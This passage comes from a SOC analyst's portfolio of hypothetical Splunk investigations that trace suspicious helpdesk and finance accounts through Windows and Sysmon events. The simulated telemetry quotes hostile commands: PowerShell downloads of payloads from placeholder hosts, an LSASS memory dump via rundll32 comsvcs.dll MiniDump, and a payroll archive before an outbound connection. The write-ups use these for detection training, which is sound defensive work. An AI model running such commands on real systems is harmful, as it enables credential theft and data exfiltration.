Invoke-WebRequest
support.zip
      ↓
C:\ProgramData\support.zip
      ↓
7z.exe
      ↓
supportsvc.exe
      ↓
185.220.101.44:443
      ↓
WindowsSupport Service
7045
      ↓
LSASS Memory Dump
      ↓
C:\ProgramData\lsass.dmp

The attack progression can therefore be interpreted as:

Stage 1 — Discovery

Get-Service
Get-Process
Get-ADComputer
Get-ADGroupMember "Domain Admins"

Stage 2 — Remote Access

CLIENT60
    ↓
CLIENT61

Stage 3 — Payload Delivery

Invoke-WebRequest
        ↓
support.zip

Stage 4 — Execution

7z.exe
    ↓
supportsvc.exe

Stage 5 — Command and Control

supportsvc.exe
    ↓
185.220.101.44:443

Stage 6 — Persistence

sc.exe create WindowsSupport
        ↓
7045
        ↓
supportsvc.exe

Stage 7 — Credential Access

rundll32.exe
        ↓
comsvcs.dll
        ↓
LSASS
        ↓
lsass.dmp

6. Primary and Potentially Affected Hosts

Primary affected host — CLIENT61

CLIENT61 is the primary affected host because it contains the strongest evidence of compromise:

• Payload download
• Archive extraction
• Suspicious executable execution
• External network communication
• Service creation
• LSASS memory dumping

This host should receive immediate containment priority.

Potentially affected — CLIENT60

CLIENT60 is potentially affected because:

• It is the origin of the remote session.
• ITSupport02 authenticated interactively there.
• The account performed the initial discovery.

However, the available telemetry does not prove that CLIENT60 itself is compromised.

Potentially affected — FILESERVER02

FILESERVER02 is also in scope because ITSupport02 accessed:

\\FILESERVER02\IT\DeploymentPackages.zip

The current evidence only shows ReadData.

There is not enough evidence to conclude that the server itself is compromised.

DC01

DC01 is an important investigative system because it records the Kerberos service-ticket activity, but the provided telemetry does not demonstrate compromise of the domain controller.

7. First Splunk Search

I would begin by searching around the suspicious account and the known indicators:

index=wineventlog OR index=sysmon
("ITSupport02" OR "supportsvc.exe" OR "185.220.101.44")
| table _time host EventCode Account_Name User Image CommandLine ParentImage DestinationIp DestinationPort
| sort _time

The objective is to establish the broader activity surrounding the account, endpoint, payload, and network destination.

I would then narrow the search around CLIENT61:

index=wineventlog OR index=sysmon
host=CLIENT61
earliest=-2h latest=+2h
| table _time EventCode Image ParentImage CommandLine User DestinationIp DestinationPort
| sort _time

This would help establish what happened before and after the observed attack chain.

8. Identifiers for Reconstructing the Process Chain

The primary correlation identifiers I would use are:

LogonGUID

Useful for answering:

Which activity belongs to the same authentication session?

ProcessGUID

Useful for answering:

Which process generated or spawned this activity?

Account

ITSupport02

Useful for tracking authentication and activity across hosts.

Source and destination hosts

CLIENT60
      ↓
CLIENT61
      ↓
FILESERVER02

Useful for reconstructing movement through the environment.

Time

Timeline correlation is critical because the events occur only seconds apart.

For example:

08:46:08  Download
08:46:19  File creation
08:46:51  Extraction
08:47:04  Execution
08:47:09  Network connection
08:47:31  Service creation
08:47:46  Service installation
08:48:20  LSASS dump

That temporal relationship is itself a major investigative signal.

9. Additional Telemetry

I would immediately investigate:

Authentication

4624 / 4625

To determine whether ITSupport02 authenticated elsewhere unexpectedly.

Privileged Logons

4672

To determine whether the account received special privileges on CLIENT61 or other systems.

Process Creation

4688 / Sysmon Event ID 1

To reconstruct:

PowerShell
   ↓
7z.exe
   ↓
supportsvc.exe
   ↓
rundll32.exe

Network Connections

Sysmon Event ID 3

To determine whether:

• CLIENT61 contacted other external destinations
• supportsvc.exe communicated elsewhere
• Other processes communicated with the same infrastructure

DNS

DNS telemetry could establish how:

updates-example.net

resolved and whether other endpoints contacted the same infrastructure.

File Creation

Sysmon Event ID 11

I would investigate files created by:

• PowerShell
• 7z.exe
• supportsvc.exe
• rundll32.exe

Service Creation

7045

This is particularly important because:

WindowsSupport

was created to execute the suspicious payload.

EDR

EDR telemetry could provide the complete process tree, file reputation, hash, command line, network behavior, and potentially prevention/detection events.

10. Containment

My first containment action would be:

Isolate CLIENT61

This is the highest-priority host because it has demonstrated:

Payload execution
        ↓
External communication
        ↓
Persistence
        ↓
Credential dumping

Network isolation limits the attacker’s ability to:

• Establish further command and control
• Move laterally
• Access additional systems
• Reuse stolen credentials

I would then investigate and potentially disable or restrict ITSupport02, particularly if evidence indicates credential compromise.

I would also:

1. Revoke active sessions.
2. Reset the account credentials.
3. Investigate other systems accessed by the account.
4. Preserve relevant forensic evidence.
5. Investigate CLIENT60.
6. Review FILESERVER02 access.
7. Hunt for the malicious IP and payload hash across the environment.

I would avoid immediately wiping the host because preservation of evidence is important for understanding the compromise.

11. What Could Prove This Was Legitimate IT Administration?

This is where the investigation needs to remain objective.

Evidence supporting legitimate activity could include:

IT Change / Service Ticket

A ticket explicitly authorizing:

ITSupport02
→ CLIENT61
→ software installation/update

would provide important context.

Approved Software

If support.zip and supportsvc.exe belong to an approved IT support application, suspicion would decrease substantially.

Known-Good Hash

The SHA256 hash of:

supportsvc.exe

could be compared against the organization’s approved software inventory.

Digital Signature

A valid signature from the expected vendor would provide additional evidence.

Approved Infrastructure

The destination:

185.220.101.44:443

would need to be verified against known corporate infrastructure.

However, there is an important limitation:

If the destination is independently confirmed to be malicious infrastructure and supportsvc.exe is also confirmed malicious, a legitimate IT ticket would not make the overall sequence benign.

It could instead indicate:

• An abused legitimate account
• A compromised IT workstation
• A malicious package disguised as legitimate software
• An attacker operating through legitimate administrative procedures

This is why validation must combine business context + endpoint evidence + network evidence + threat intelligence.

Final SOC Assessment

The investigation begins with activity that could reasonably belong to an IT administrator:

ITSupport02
     ↓
CLIENT60
     ↓
System discovery
     ↓
AD computer discovery
     ↓
PowerShell Remoting
     ↓
CLIENT61

The first meaningful suspicion arises when the account enumerates:

Get-ADGroupMember "Domain Admins"

However, this remains suspicious rather than confirmed malicious.

The investigation changes dramatically when:

Invoke-WebRequest
       ↓
support.zip
       ↓
supportsvc.exe
       ↓
185.220.101.44:443
       ↓
WindowsSupport service
       ↓
LSASS memory dump

appears within a short time window.

At that point, the telemetry is no longer consistent with ordinary Helpdesk administration without substantial additional evidence.

Key Lesson

The most important lesson from this exercise is that SOC analysts should not declare an incident simply because an administrator performs administrative-looking actions.

Instead, the analyst should continuously ask:

Does the activity make sense for this account, this host, this time, and this business function?

In this case, the answer changes as the investigation progresses.

The early activity may be legitimate.

The later correlated behavior provides strong evidence of compromise.

Skills Practiced

Splunk · SPL · Windows Event Logs · PowerShell · Sysmon · Active Directory · Kerberos · Process Correlation · Network Analysis · Threat Hunting · Persistence Detection · Credential Access · Incident Response

Author

Precious Anyanwu

Overview

This case study documents a hypothetical SOC investigation designed to test the distinction between legitimate IT administration and potentially malicious activity.

The investigation follows the activity of HelpDesk03 across CLIENT51, CLIENT50, DC01, and FILESERVER01. The central challenge is that the early activity is consistent with normal Helpdesk responsibilities, while later telemetry introduces indicators that could represent malware execution and command-and-control activity.

The investigation demonstrates an important SOC principle:

Suspicious activity should be evaluated in context rather than judged from a single event.

Investigation Environment

Telemetry Under Investigation

The following telemetry represents the complete evidence available to the analyst.

Event 1 — 10:21:04 — CLIENT51

4624

Account: HelpDesk03
Logon Type: 2

Event 2 — 10:21:18 — CLIENT51

4104

Get-ADComputer -Filter *

Event 3 — 10:21:25 — CLIENT51

4104

Get-Service

Event 4 — 10:22:01 — CLIENT51

4688

powershell.exe

Command:
Enter-PSSession CLIENT50

Event 5 — 10:22:03 — CLIENT50

4624

Account: HelpDesk03
Logon Type: 3
Source: CLIENT51

Event 6 — 10:22:11 — CLIENT50

4104

Get-Process

Event 7 — 10:22:19 — CLIENT50

4104

Get-ADGroupMember "Domain Admins"

Event 8 — 10:22:44 — DC01

4769

Account: HelpDesk03

Service:
cifs/FILESERVER01

Event 9 — 10:23:02 — FILESERVER01

4624

Account: HelpDesk03
Logon Type: 3
Source: CLIENT50

Event 10 — 10:23:15 — FILESERVER01

4663

Object:
\\FILESERVER01\IT\SoftwareInventory.xlsx

Access:
ReadData

Event 11 — 10:23:42 — CLIENT50

4104

Invoke-WebRequest https://updates-example.net/inventory.zip -OutFile C:\ProgramData\inventory.zip

Event 12 — 10:23:48 — CLIENT50

Sysmon 11

File Created:
C:\ProgramData\inventory.zip

Event 13 — 10:24:10 — CLIENT50

4688

inventory.exe

Parent:
powershell.exe

Event 14 — 10:24:12 — CLIENT50

Sysmon 3

inventory.exe
↓
10.10.20.50
↓
443

1. Where Does Legitimate Activity End?

My assessment is that the last activity that can reasonably be considered potentially legitimate is:

Event 10 — 10:23:15

FILESERVER01
4663

\\FILESERVER01\IT\SoftwareInventory.xlsx

ReadData

The preceding activity has a plausible Helpdesk explanation.

HelpDesk03 logs onto CLIENT51, performs system and Active Directory discovery, establishes a PowerShell remoting session to CLIENT50, and subsequently accesses an IT software inventory document.

A Helpdesk technician could legitimately perform these actions while troubleshooting a workstation or conducting software inventory.

The important distinction is that the activity is unusual enough to investigate, but not inherently malicious.

2. First Point of Suspicion

The first significant suspicion occurs at:

Event 11 — 10:23:42

Invoke-WebRequest
https://updates-example.net/inventory.zip

-OutFile C:\ProgramData\inventory.zip

The command becomes concerning because the investigation has moved from administrative activity to retrieving an external file and writing it to the endpoint.

Several contextual indicators increase the risk:

• PowerShell is being used to download an external archive.
• The destination is an unfamiliar external domain.
• The file is written to C:\ProgramData.
• The download occurs immediately after administrative discovery and remote access activity.
• The downloaded file is subsequently executed.

However, I would still avoid immediately declaring the file malicious.

Legitimate IT management software can download packages from external infrastructure.

Therefore:

Event 11 = Suspicious

rather than automatically:

Event 11 = Confirmed compromise.

3. Escalation Point

My escalation point would be:

Event 14 — 10:24:12

Sysmon Event 3

inventory.exe
↓
10.10.20.50
↓
443

At this stage, the evidence is significantly stronger.

The sequence is now:

PowerShell
   ↓
External download
   ↓
inventory.zip created
   ↓
inventory.exe executed
   ↓
inventory.exe establishes outbound connection

An executable downloaded moments earlier from an external source is now communicating externally over HTTPS.

This does not prove maliciousness by itself, but the combined telemetry establishes a sufficiently strong security concern to escalate for immediate investigation.

I would classify the situation as:

Confirmed security incident / high-priority security investigation pending validation of the executable.

4. Is HelpDesk03 Lateral Movement Automatically Malicious?

No.

The sequence:

CLIENT51
   ↓
PowerShell
   ↓
Enter-PSSession CLIENT50
   ↓
CLIENT50 Type 3 logon

is consistent with legitimate remote administration.

Helpdesk personnel may use PowerShell Remoting to:

• Troubleshoot endpoints
• Inspect services
• Investigate running processes
• Install or update software
• Perform system maintenance
• Respond to user support requests

Therefore, the presence of Enter-PSSession and a Type 3 authentication should not automatically be classified as malicious lateral movement.

The correct SOC approach is to ask:

Was HelpDesk03 authorized to administer CLIENT50 at this time, and does the subsequent activity match the expected task?

The later download and execution activity is what changes the risk assessment.

5. Understanding Event ID 4769

The following event appears on DC01:

4769

Account:
HelpDesk03

Service:
cifs/FILESERVER01

Event ID 4769 represents a Kerberos service ticket request.

Here, HelpDesk03 requested a service ticket for the CIFS service on FILESERVER01.

CIFS is commonly associated with Windows file-sharing services.

This correlates with the subsequent:

FILESERVER01
4624
HelpDesk03
Logon Type 3
Source: CLIENT50

and then:

4663
\\FILESERVER01\IT\SoftwareInventory.xlsx
ReadData

The sequence therefore provides useful authentication and resource-access correlation:

HelpDesk03
     ↓
DC01
     ↓
Kerberos service ticket for CIFS
     ↓
FILESERVER01
     ↓
Network logon
     ↓
SoftwareInventory.xlsx

6. Reconstructed Telemetry Chain

The investigation can be reconstructed as follows:

HelpDesk03
    │
    ▼
CLIENT51
Interactive Logon
4624 Type 2
    │
    ▼
PowerShell
    │
    ├── Get-ADComputer -Filter *
    │
    └── Get-Service
    │
    ▼
Enter-PSSession CLIENT50
    │
    ▼
CLIENT50
4624 Type 3
Source: CLIENT51
    │
    ├── Get-Process
    │
    └── Get-ADGroupMember "Domain Admins"
    │
    ▼
DC01
4769
CIFS/FILESERVER01
    │
    ▼
FILESERVER01
4624 Type 3
    │
    ▼
SoftwareInventory.xlsx
ReadData
    │
    ▼
CLIENT50
Invoke-WebRequest
    │
    ▼
inventory.zip
    │
    ▼
inventory.exe
    │
    ▼
Outbound HTTPS
10.10.20.50:443

This chain demonstrates why the investigation cannot be based on individual events.

The early portion has a credible administrative explanation.

The later portion creates a substantially different risk profile.

7. Primary Affected Host

My primary affected host is:

CLIENT50

This is where the most concerning activity occurs.

CLIENT50:

• Received the remote PowerShell session
• Performed AD enumeration
• Downloaded the external archive
• Created inventory.zip
• Executed inventory.exe
• Established an outbound connection

Therefore, CLIENT50 should receive immediate investigative and containment priority.

CLIENT51 remains important because it is the source of the administrative session and may provide evidence about how the activity originated.

FILESERVER01 is also in scope because the account accessed a file there, although the available telemetry does not establish that the file was exfiltrated or modified.

8. First Splunk Search and Pivots

My first investigation would begin with the account:

index=wineventlog "HelpDesk03"
| table _time host EventCode Account_Name Logon_Type Source_Network_Address Process_Command_Line
| sort _time

The objective is to establish the broader activity associated with HelpDesk03 before and after the observed sequence.

Pivot 1 — Authentication Session

After identifying the relevant 4624 event on CLIENT51, I would pivot using the associated LogonGUID.

The goal is to determine:

• What processes were created under the session
• Whether additional activity occurred
• Whether the session appears normal for this account

Pivot 2 — Process Execution

I would then investigate the process chain around:

powershell.exe
    ↓
inventory.exe

using ProcessGUID where available.

This allows the analyst to establish process ancestry and determine whether inventory.exe was genuinely launched by PowerShell.

Pivot 3 — Network Activity

Finally, I would pivot around:

inventory.exe
10.10.20.50
443

to identify:

• DNS activity
• Other connections from the process
• Other hosts communicating with the destination
• Historical connections to the same destination
• Whether the destination is known corporate infrastructure

9. Evidence Required Before Declaring inventory.exe Malicious

Before making a definitive malware determination, I would collect:

File intelligence

• SHA256 hash
• File size
• File creation timestamp
• Digital signature
• Certificate issuer
• File metadata
• PE information

Endpoint telemetry

• EDR detections
• Process tree
• Child processes
• Persistence mechanisms
• Registry modifications
• Additional file creation
• Scheduled tasks
• Services
• DLL loading

Network telemetry

• DNS resolution
• Proxy logs
• Firewall logs
• Destination reputation
• Historical communication
• Other endpoints communicating with 10.10.20.50

Threat intelligence

I would search the hash and relevant infrastructure against trusted threat-intelligence sources.

Importantly, I would not rely solely on IP reputation. A suspicious-looking IP is an investigation lead, not definitive proof of compromise.

10. What Would Prove This Was Legitimate?

There are several pieces of evidence that could substantially reduce the suspicion.

Change or Helpdesk Ticket

A legitimate ticket could show:

HelpDesk03
    ↓
CLIENT50
    ↓
Software inventory collection

with the activity occurring during the approved support window.

Software Deployment Record

The organization may have an approved inventory-management tool that downloads:

inventory.zip

and executes:

inventory.exe

Asset Management Documentation

The domain or IP:

updates-example.net
10.10.20.50

could belong to an approved enterprise software-management platform.

Known-Good Hash

If the SHA256 hash of inventory.exe matches the organization’s approved software inventory agent, the risk assessment changes substantially.

Digital Signature

A valid signature from the expected software vendor would provide another important validation point.

Normal Historical Behavior

If HelpDesk03 routinely:

• Logs onto CLIENT51
• Remotes into CLIENT50
• Accesses SoftwareInventory.xlsx
• Downloads inventory.exe
• Communicates with 10.10.20.50

then the activity may represent legitimate IT operations.

11. Containment

Because CLIENT50 is the host where the suspicious executable executes and establishes an outbound connection, I would prioritize containment of CLIENT50.

Priority 1 — Isolate CLIENT50

Prevent further communication with:

• Internal systems
• Domain resources
• External infrastructure

while preserving evidence where possible.

Priority 2 — Investigate HelpDesk03

Temporarily restrict or disable the account if the evidence indicates credential compromise.

I would also:

• Revoke active sessions
• Reset credentials
• Review authentication history
• Investigate privileged group membership
• Check for other systems accessed by the account

Priority 3 — Investigate CLIENT51

CLIENT51 should not automatically be declared compromised.

However, because it initiated the PowerShell remoting session, I would investigate it for:

• Suspicious processes
• Credential theft
• Malware
• PowerShell activity
• Unusual authentication
• Evidence of compromise preceding the observed timeline

Priority 4 — Protect FILESERVER01

I would review the file access and determine whether:

• Additional files were accessed
• Files were modified
• Files were copied
• Unusual authentication occurred
• Other systems accessed the same share

SOC Assessment

The most important lesson from this case is that Helpdesk activity can look very similar to attacker activity.

The initial sequence:

HelpDesk03
    ↓
CLIENT51
    ↓
PowerShell
    ↓
CLIENT50
    ↓
FILESERVER01

can plausibly represent normal IT administration.

The risk changes when the investigation reaches:

Invoke-WebRequest
        ↓
inventory.zip
        ↓
inventory.exe
        ↓
Outbound HTTPS

At that point, the analyst has enough evidence to escalate the activity and begin validating whether the executable and infrastructure are authorized.

This investigation reinforced the importance of:

• Context-based triage
• Authentication correlation
• PowerShell monitoring
• Process ancestry
• Network telemetry
• File analysis
• Threat intelligence
• Change-management validation
• Distinguishing suspicious activity from confirmed compromise

Key SOC Takeaway

A strong SOC analyst should not ask:

“Does this event look malicious?”

They should ask:

“Does this sequence of events make sense for this user, this host, and this business function?”

That shift from event-based detection to contextual investigation is one of the most important skills I am continuing to develop through these hands-on SOC exercises.

Skills Practiced

Splunk · SPL · Windows Event Logs · PowerShell Logging · Sysmon · Authentication Analysis · Kerberos · Process Correlation · Network Analysis · Threat Hunting · Incident Triage

Author

Precious Anyanwu

Overview

This case study simulates a SOC investigation in which the beginning of an attack is not fully visible in the available telemetry.

The objective was to investigate a sequence of Windows events involving:

• FinanceUser02
• CLIENT31
• CLIENT30
• DC01
• FILESERVER01

The investigation required distinguishing legitimate user activity from suspicious behavior, identifying the first meaningful indicators of compromise, reconstructing the attack chain, and clearly separating confirmed evidence from hypotheses.

A key challenge in this investigation was that the telemetry begins after the potential initial compromise. This means the investigation cannot definitively establish how the attacker first obtained access.

Investigation Scenario

The available telemetry is presented below in chronological order.

Full Telemetry Under Investigation

09:11:04  CLIENT30
4624
Account: FinanceUser02
Logon Type: 2

09:11:19  CLIENT30
4688
OUTLOOK.EXE

09:12:03  CLIENT30
4688
EXCEL.EXE
Command:
"C:\Finance\Budget2026.xlsx"

09:14:17  CLIENT30
4104
Get-Date

09:16:42  CLIENT30
4624
Account: FinanceUser02
Logon Type: 3
Source: CLIENT31

09:16:49  CLIENT30
4688
powershell.exe
Parent: wsmprovhost.exe

09:17:03  CLIENT30
4104
Get-Process

09:17:22  CLIENT30
4104
Get-ADComputer -Filter *

09:17:41  DC01
4769
Account: FinanceUser02
Service:
ldap/DC01

09:18:05  CLIENT30
4104
Get-ADGroupMember "Domain Admins"

09:18:47  CLIENT30
Sysmon 3
powershell.exe
→ 91.198.174.21
Port: 443

09:19:02  CLIENT30
4104
Invoke-WebRequest
https://cdn-example.net/agent.exe

09:19:11  CLIENT30
Sysmon 11
File Created:
C:\ProgramData\agent.exe

09:19:38  CLIENT30
4688
agent.exe
Parent:
powershell.exe

09:20:02  CLIENT30
Sysmon 3
agent.exe
→ 91.198.174.21
Port: 443

09:21:15  CLIENT30
4688
rundll32.exe

Command:
comsvcs.dll, MiniDump
612
C:\ProgramData\lsass.dmp
full

09:21:21  CLIENT30
Sysmon 11
File Created:
C:\ProgramData\lsass.dmp

09:21:36  CLIENT30
4104
Remove-Item
C:\ProgramData\lsass.dmp

09:22:07  DC01
4769
Account: FinanceUser02
Service:
cifs/FILESERVER01

09:22:15  FILESERVER01
4624
Account: FinanceUser02
Logon Type: 3
Source: CLIENT30

09:22:43  FILESERVER01
4663
Object:
\\FILESERVER01\Finance\Payroll2026.xlsx

Access:
ReadData

09:23:04  FILESERVER01
4663
Object:
\\FILESERVER01\Finance\Payroll2026.xlsx

Access:
WriteData

09:23:51  CLIENT30
4688
powershell.exe

Compress-Archive
C:\Users\FinanceUser02\Downloads\Payroll2026.xlsx
C:\Users\FinanceUser02\Downloads\Payroll.zip

09:24:13  CLIENT30
Sysmon 3
powershell.exe
→ 91.198.174.21
Port: 443

1. Where Does Legitimate Activity End?

My assessment is that the last event I would consider potentially legitimate is:

09:17:41
DC01
4769
Account: FinanceUser02
Service: ldap/DC01

The preceding activity can reasonably fit normal administrative or user troubleshooting behavior:

FinanceUser02
      ↓
CLIENT30
      ↓
PowerShell
      ↓
Get-Date
      ↓
Get-Process
      ↓
Get-ADComputer -Filter *

The 4769 LDAP service ticket is also not inherently malicious. Active Directory queries can legitimately generate Kerberos service ticket activity.

However, immediately afterward we see:

09:18:05
Get-ADGroupMember "Domain Admins"

The context changes significantly at this point.

The account is a finance user, yet it is querying membership of the highly privileged Domain Admins group shortly before making an outbound connection and downloading an executable.

Therefore, I treat the activity after the LDAP ticket as increasingly suspicious rather than assuming that the LDAP event itself represents compromise.

2. First Genuine Suspicion

My first significant point of suspicion is:

09:18:05
CLIENT30
4104

Get-ADGroupMember "Domain Admins"

The command itself is not inherently malicious.

A legitimate administrator may need to determine group membership during troubleshooting or security administration.

The concern comes from the sequence and context:

Get-ADComputer -Filter *
        ↓
Get-ADGroupMember "Domain Admins"
        ↓
Outbound connection
        ↓
Invoke-WebRequest
        ↓
agent.exe

The combination suggests systematic reconnaissance followed by potential payload delivery.

At this stage, I would classify the activity as:

Suspicious

I would continue monitoring and investigating rather than immediately declaring an incident.

3. When Does This Become an Incident?

The incident threshold is crossed at:

09:19:38
CLIENT30

4688
agent.exe
Parent:
powershell.exe

By this point, the evidence is no longer limited to reconnaissance.

We have a clear execution chain:

PowerShell
     ↓
Invoke-WebRequest
     ↓
agent.exe created
     ↓
agent.exe executed

The executable was downloaded from an external location:

https://cdn-example.net/agent.exe

and subsequently executed.

This provides significantly stronger evidence of malicious activity than the earlier discovery commands.

The incident becomes even more compelling when agent.exe immediately communicates with:

91.198.174.21:443

This creates a behavioral chain consistent with:

Reconnaissance
      ↓
Payload download
      ↓
Payload execution
      ↓
External communication

At this point, I would formally escalate the investigation as a security incident.

4. The Missing Beginning

One of the most important aspects of this investigation is that the available telemetry does not show how the attacker initially obtained access.

At:

09:16:42
CLIENT30
4624
Account: FinanceUser02
Logon Type: 3
Source: CLIENT31

we observe a network logon to CLIENT30 originating from CLIENT31.

Immediately afterward:

09:16:49
powershell.exe
Parent: wsmprovhost.exe

This suggests PowerShell execution through a remote management context.

However, this does not by itself prove that CLIENT31 was compromised.

Initial Hypotheses

I would investigate several possibilities.

Hypothesis 1 — FinanceUser02 Credentials Were Compromised

This is my leading hypothesis.

The attacker may have obtained FinanceUser02 credentials before the beginning of the available telemetry and subsequently used them from CLIENT31 to access CLIENT30.

This would explain:

CLIENT31
    ↓
FinanceUser02 credentials
    ↓
CLIENT30
    ↓
PowerShell

Hypothesis 2 — CLIENT31 Was Compromised

CLIENT31 may have been compromised first, with the attacker using it as a staging point to access CLIENT30.

Evidence currently available is insufficient to confirm this.

Hypothesis 3 — Legitimate Remote Administration

It is also possible that a legitimate remote administrative session occurred from CLIENT31.

However, this hypothesis becomes increasingly difficult to sustain once the session is followed by:

• Domain Admin enumeration
• External network communication
• Payload download
• Payload execution
• LSASS dumping
• File server access
• Payroll data modification

Therefore, I would investigate the legitimacy of the original remote session rather than assume it was malicious from the beginning.

5. Reconstructing the Attack Chain

The available evidence supports the following attack narrative:

Potential prior compromise / credential theft
                    ↓
              CLIENT31
                    ↓
        FinanceUser02 credentials
                    ↓
              CLIENT30
                    ↓
        Remote PowerShell execution
                    ↓
       Active Directory discovery
                    ↓
      Domain Admin enumeration
                    ↓
        External communication
                    ↓
       PowerShell payload download
                    ↓
             agent.exe
                    ↓
          Payload execution
                    ↓
       External communication
                    ↓
          LSASS memory dump
                    ↓
        Dump file deletion
                    ↓
         FILESERVER01 access
                    ↓
      Payroll2026.xlsx read/write
                    ↓
          Archive creation
                    ↓
      Possible data exfiltration

The final stage should remain classified as potential exfiltration, not confirmed exfiltration.

The final outbound connection to 91.198.174.21:443 occurs after the archive is created, but the telemetry provided does not demonstrate that Payroll.zip was actually transmitted.

That distinction is important during an investigation.

6. Credential Access

At:

09:21:15
rundll32.exe

comsvcs.dll, MiniDump
612
C:\ProgramData\lsass.dmp
full

the investigation reaches another major escalation point.

The command attempts to create a full memory dump of the LSASS process.

LSASS is responsible for important Windows authentication functionality, making LSASS memory a high-value target for credential theft.

The subsequent telemetry confirms the dump file was created:

09:21:21
Sysmon Event 11

C:\ProgramData\lsass.dmp

The attacker then attempted to remove the evidence:

09:21:36
Remove-Item
C:\ProgramData\lsass.dmp

This represents strong evidence of credential-access activity followed by possible defense evasion.

7. Access to Sensitive Data

The attacker subsequently requested access to:

FILESERVER01

The authentication sequence was:

DC01
4769
cifs/FILESERVER01
        ↓
FILESERVER01
4624
Logon Type 3
Source: CLIENT30

The attacker then accessed:

\\FILESERVER01\Finance\Payroll2026.xlsx

with:

ReadData

followed by:

WriteData

This is particularly important because the activity has now progressed beyond endpoint compromise into access to potentially sensitive business information.

The WriteData event also warrants investigation into what was changed and whether the file was modified maliciously.

8. Potential Data Exfiltration

The attacker subsequently created:

Payroll.zip

using:

Compress-Archive

This is consistent with preparation of data for possible exfiltration.

The final telemetry shows:

PowerShell
    ↓
91.198.174.21:443

However, I would not state that exfiltration was confirmed based on these events alone.

I would investigate:

• Proxy logs
• Firewall logs
• Network flow telemetry
• EDR network telemetry
• TLS inspection where available
• DNS activity
• The actual archive file
• Destination reputation
• Amount of data transmitted

The correct assessment at this stage is:

Potential data exfiltration requiring further investigation.

9. First Splunk Search

My initial Splunk investigation would focus on the identity involved:

FinanceUser02

I would search activity surrounding the earliest and latest observed events to determine what happened before the visible attack chain.

For example:

index=wineventlog
Account_Name="FinanceUser02"
earliest=-4h latest=+2h
| table _time host EventCode Account_Name Logon_Type Source_Network_Address Process_Command_Line
| sort _time

Depending on the field normalization in the environment, I would adjust the account and source fields accordingly.

The objective is not simply to retrieve more logs.

The objective is to answer:

Where has FinanceUser02 authenticated, from which systems, and what did the account do before the attack became visible?

10. Investigation Pivots

Pivot 1 — LogonGUID

I would identify the network logon from CLIENT31 to CLIENT30:

09:16:42
FinanceUser02
Type 3
Source: CLIENT31

I would then pivot using the associated LogonGUID where available.

This helps establish which events belong to the authentication session.

Pivot 2 — ProcessGUID

After identifying the suspicious PowerShell execution and the downloaded payload, I would pivot using ProcessGUID.

This helps reconstruct process relationships such as:

wsmprovhost.exe
       ↓
powershell.exe
       ↓
agent.exe

Pivot 3 — Account + Source Host

Finally, I would search for:

FinanceUser02

across:

• CLIENT31
• CLIENT30
• FILESERVER01
• DC01

This could reveal whether the account was being used from additional systems or whether this activity represents an abnormal authentication pattern.

11. Scope Assessment

It is important not to classify every system involved as “compromised.”

Confirmed Compromised

CLIENT30

CLIENT30 is the primary confirmed compromised endpoint.

Evidence includes:

• Suspicious PowerShell activity
• External payload download
• agent.exe creation
• agent.exe execution
• External communication
• LSASS memory dumping
• Dump file deletion
• File server access
• Sensitive data access
• Archive creation

Potentially Compromised

CLIENT31

CLIENT31 is potentially compromised because it was the source of the network logon into CLIENT30 using FinanceUser02.

However, the available telemetry does not establish whether CLIENT31 itself was compromised.

I would therefore investigate it immediately rather than label it confirmed compromised.

Affected Systems

FILESERVER01

FILESERVER01 should be considered affected because compromised credentials were used to access a sensitive finance file.

However, there is currently insufficient evidence to conclude that FILESERVER01 itself was compromised.

The distinction is:

CLIENT30
Confirmed compromised

CLIENT31
Potentially compromised

FILESERVER01
Affected by unauthorized access

This distinction is important when communicating incident scope to management.

12. Immediate Containment

Given the evidence, I would prioritize containment as follows.

1. Isolate CLIENT30

CLIENT30 is actively compromised and has executed a payload.

Network isolation would limit:

• Further command and control
• Lateral movement
• Credential theft
• Additional data access
• Potential exfiltration

2. Disable or Restrict FinanceUser02

Temporarily disable the account or otherwise restrict authentication while the investigation determines whether its credentials were compromised.

I would also:

• Revoke active sessions
• Reset the password
• Invalidate existing authentication tokens where supported
• Require MFA where applicable
• Investigate where the account authenticated

3. Protect FILESERVER01

Restrict unnecessary access to the Finance share while preserving evidence.

I would also investigate the modified:

Payroll2026.xlsx

to determine:

• What changed
• Who changed it
• Whether malicious content was introduced
• Whether the modification can be attributed to the attacker

4. Investigate CLIENT31

CLIENT31 should immediately become a priority investigative target.

I would determine:

• Who was logged into CLIENT31
• Whether FinanceUser02 was legitimately being used
• Whether PowerShell was executed
• Whether remote administration tools were used
• Whether credential theft occurred
• Whether suspicious network connections originated from CLIENT31
• What happened before 09:16:42

13. Additional Telemetry I Would Investigate

I would collect and correlate:

Authentication telemetry

• Event ID 4624
• Event ID 4625
• Event ID 4672
• Kerberos 4768
• Kerberos 4769

This helps establish authentication patterns and privilege use.

PowerShell telemetry

• Event ID 4104
• PowerShell Operational logs
• Command-line telemetry
• Parent/child process relationships

This could reveal additional commands executed by the attacker.

Sysmon telemetry

• Event ID 1 — Process creation
• Event ID 3 — Network connection
• Event ID 11 — File creation
• Event ID 22 — DNS queries

These can help reconstruct execution, network communication, payload creation, and destination resolution.

Endpoint telemetry

I would also investigate EDR alerts and endpoint observations on CLIENT30 and CLIENT31 for:

• Credential dumping
• Malware execution
• Persistence
• Privilege escalation
• Additional payloads
• Suspicious child processes

14. Lessons Learned

Several detection opportunities exist within this attack chain.

Identity-based detection

A finance user querying:

Get-ADGroupMember "Domain Admins"

should receive additional scrutiny when it occurs outside normal administrative workflows.

Remote PowerShell monitoring

A network logon followed by:

wsmprovhost.exe
    ↓
powershell.exe

should be correlated with the account, source workstation, and expected administrative activity.

Payload execution detection

A sequence such as:

Invoke-WebRequest
      ↓
Sysmon Event 11
      ↓
New executable
      ↓
Sysmon Event 1
      ↓
External connection

is highly valuable for automated detection.

Credential dumping detection

Execution involving:

rundll32.exe
comsvcs.dll
MiniDump

should receive high priority because of its relationship to LSASS memory dumping.

Sensitive file monitoring

Read/write access to high-value finance files should be correlated with:

• User identity
• Source workstation
• Authentication type
• Recent endpoint activity
• Network activity

15. Key SOC Takeaways

This investigation reinforced several important SOC principles.

1. Suspicious does not mean compromised

The first suspicious command was:

Get-ADGroupMember "Domain Admins"

but the command alone was not sufficient to declare an incident.

2. Context matters

The same PowerShell command can be legitimate in one context and highly suspicious in another.

3. Missing telemetry creates uncertainty

Because the beginning of the compromise was not visible, the investigation had to distinguish between:

What we know

and

What we suspect.

4. Correlation is more powerful than isolated events

The individual events become much more meaningful when connected:

Network Logon
      ↓
Remote PowerShell
      ↓
AD Discovery
      ↓
Payload Download
      ↓
Payload Execution
      ↓
C2 Communication
      ↓
LSASS Dump
      ↓
